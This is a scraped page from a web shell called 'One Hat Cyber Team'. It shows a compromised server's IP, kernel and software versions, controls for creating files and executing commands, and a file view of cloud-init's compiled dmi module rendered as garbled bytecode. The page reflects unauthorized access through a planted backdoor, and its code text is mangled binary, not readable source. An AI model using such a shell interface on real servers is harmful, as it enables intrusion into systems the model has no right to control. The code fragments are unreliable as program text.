⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
cloudinit
/
__pycache__
/
View File Name :
dmi.cpython-310.pyc
o }f! @ s d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ d dl m Z mZmZm Z e eZdZedg dZd ej_i d edddd eddddeddddeddddeddddeddddedddded d!dd"ed#d$dd%ed&d'd(d)ed*d+d,d-ed.d/dd0ed1d2d(d3ed4d5d6d7ed8d9d,d:ed;d
d?dZd@edAee fdBdCZd@edAee fdDdEZd@edAee fdFdGZd@edHedAee fdIdJZd@edAee fdKdLZdMedAefdNdOZdS )P N) namedtuple)Optional)subp)is_containeris_DragonFlyBSD is_FreeBSD is_OpenBSDz/sys/class/dmi/idKernelNames)linuxfreebsdopenbsd)NNNzbaseboard-asset-tagboard_asset_tagzsmbios.planar.tagzbaseboard-manufacturerboard_vendorzsmbios.planar.makerzbaseboard-product-name board_namezsmbios.planar.productzbaseboard-serial-numberboard_serialzsmbios.planar.serialzbaseboard-version board_versionzsmbios.planar.versionzbios-release-date bios_datezsmbios.bios.reldatezbios-vendorbios_vendorzsmbios.bios.vendorzbios-versionbios_versionzsmbios.bios.versionzchassis-asset-tagchassis_asset_tagzsmbios.chassis.tagzchassis-manufacturerchassis_vendorzsmbios.chassis.makerz hw.vendorzchassis-serial-numberchassis_serialzsmbios.chassis.serialzhw.uuidzchassis-versionchassis_versionzsmbios.chassis.versionzsystem-manufacturer sys_vendorzsmbios.system.makerzsystem-product-nameproduct_namezsmbios.system.productz hw.productzsystem-serial-numberproduct_serialzsmbios.system.serialzsystem-uuidproduct_uuidzsmbios.system.uuidzsystem-versionproduct_versionzsmbios.system.versionkeyreturnc C s t | }|du s|jdu rdS dt|j}td| tj |s+td| dS zt |d}| }W d n1 s@w Y W n tyV td| Y dS w |dt |d d kred }z|d W S ty } ztd||| W Y d}~dS d}~ww ) z/ Reads dmi data from /sys/class/dmi/id Nz{0}/{1}querying dmi data %szdid not find %srbzCould not read %s utf8z-utf-8 decode of content (%s) in %s failed: %s)DMIDECODE_TO_KERNELgetr formatDMI_SYS_PATHLOGdebugospathexistsopenreadPermissionErrorlendecodestripUnicodeDecodeErrorerror)r kmapdmi_key_pathfpkey_datae r= //usr/lib/python3/dist-packages/cloudinit/dmi.py_read_dmi_syspathP s> r? c C t | }|du s|jdu rdS td|j zdd|jg}t|j }td||j |W S tjyK } ztd|| W Y d}~dS d}~ww )z/ Reads dmi data from FreeBSD's kenv(1) Nr kenvz-qzkenv returned '%s' for '%s'zfailed kenv cmd: %s %s) r' r( r r+ r, r stdoutr5 ProcessExecutionErrorr r8 cmdresultr<